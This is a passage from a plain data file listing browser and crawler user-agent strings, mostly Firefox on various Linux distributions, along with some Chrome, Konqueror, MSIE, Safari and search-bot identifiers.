(Debian-3.0~rc2-2) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072820 Kubuntu/8.04 (hardy) Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008110312 Gentoo Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009060309 Linux Mint/7 (Gloria) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061417 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009070612 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.16) Gecko/2009121609 Firefox/3.0.6 (Windows NT 5.1) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.17) Gecko/2010011010 Mandriva/1.9.0.17-0.1mdv2009.1 (2009.1) Firefox/3.0.17 GTB6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 (Linux Mint) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.4) Gecko/2008120512 Gentoo Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121806 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121911 CentOS/3.0.5-1.el5.centos Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122014 CentOS/3.0.5-1.el4.centos Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122120 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122406 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-1.4 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020407 Firefox/3.0.4 (Debian-3.0.6-1) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020519 Ubuntu/9.04 (jaunty) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 GTB5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030719 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030810 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva/1.9.0.7-0.1mdv2009.0 (2009.0) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031802 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032319 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032606 Red Hat/3.0.7-1.el5 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1.1 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032713 Ubuntu/9.04 (jaunty) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032908 Gentoo Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009040312 Gentoo Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1) Gecko/20090630 Firefox/3.5 GTB6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Linux Mint/7 (Gloria) Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.15) Gecko/20101027 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Firefox/3.5.2 Slackware -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Slackware Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090914 Slackware/13.0_stable Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091114 Gentoo Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.6) Gecko/20100117 Gentoo Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100318 Gentoo Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8pre) Gecko/20091227 Ubuntu/9.10 (karmic) Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090312 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 Fedora/3.1-0.11.beta3.fc11 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 GNU/Linux/x86_64 Firefox/3.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100130 Gentoo Firefox/3.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100222 Ubuntu/10.04 (lucid) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100305 Gentoo Firefox/3.5.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Gentoo Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101219 Gentoo Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101223 Gentoo Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100524 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.4) Gecko/20100614 Ubuntu/10.04 (lucid) Firefox/3.6.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100723 Fedora/3.6.7-1.fc13 Firefox/3.6.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100723 SUSE/3.6.8-0.1.1 Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090405 Firefox/3.6a1pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090428 Firefox/3.6a1pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008011321 Firefox/3.0b3pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008020509 Firefox/3.0b3pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008031318 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008040813 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008040514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008041816 Fedora/3.0-0.55.beta5.fc9 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9pre) Gecko/2008042312 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061015 Ubuntu/8.04 (hardy) Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.4) Gecko/2008110510 Red Hat/3.0.4-1.el5_2 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; es-CL; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009072711 CentOS/3.0.12-1.el5.centos Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.7) Gecko/2009022800 SUSE/3.0.7-1.4 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc11 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-MX; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.14) Gecko/2009090217 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; fr-FR) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-1.1 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.19) Gecko/2010051407 CentOS/3.0.19-1.el5.centos Firefox/3.0.19 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.3pre -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 GTB7.0 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.3) Gecko/20100403 Fedora/3.6.3-4.fc13 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092813 Gentoo Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-2.fc12 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; ja; rv:1.9.1.4) Gecko/20091016 SUSE/3.5.4-1.1.2 Firefox/3.5.4 -Mozilla/5.0 (X11; U; Linux x86_64; ko-KR; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.2 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9) Gecko/2008060309 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu (hardy) Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu/hardy Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.5) Gecko/2008121623 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.9.1.2) Gecko/20090911 Slackware Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9b5) Gecko/2008041515 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.11) Gecko/20101028 CentOS/3.6-2.el5.centos Firefox/3.6.11 -Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 GTB5 -Mozilla/5.0 (X11; U; Linux; en-US; rv:1.9.1.11) Gecko/20100720 Firefox/3.5.11 -Mozilla/5.0 (X11; U; Linux; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Mac OSX; it; rv:1.9.0.7) Gecko/2009030422 Firefox/3.0.7 -Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.9.2.12) Gecko/20101030 Firefox/3.6.12 -Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.9.0.1) Gecko/2008081402 Firefox/3.0.1 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3 -Mozilla/5.0 (X11; U; Slackware Linux i686; en-US; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Slackware Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.30 Safari/532.5 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 -Mozilla/5.0 (X11; U; SunOS i86pc; fr; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.1) Gecko/20020920 Netscape/7.0 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (X11; U; SunOS sun4u; it-IT; ) Gecko/20080000 Firefox/3.0 -Mozilla/5.0 (X11; U; Windows NT 5.0; en-US; rv:1.9b4) Gecko/2008030318 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Windows NT 6; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.587.0 Safari/534.12 -Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 -Mozilla/5.0 (X11;U; Linux i686; en-GB; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515) -Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR) -Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko) -Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.15-1.2054_FC5; X11; i686; en_US) KHTML/3.5.4 (like Gecko) -Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.16-2-k7) KHTML/3.5.0 (like Gecko) (Debian package 4:3.5.0-2bpo2) -Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Debian) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0 -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) -Mozilla/5.0 (compatible; Yahoo! Slurp;http://help.yahoo.com/help/us/ysearch/slurp) -Mozilla/5.0 (compatible; googlebot/2.1; +http://www.google.com/bot.html) -Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.1021.10gin_lib.cc -Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; es-es) AppleWebKit/531.21.10 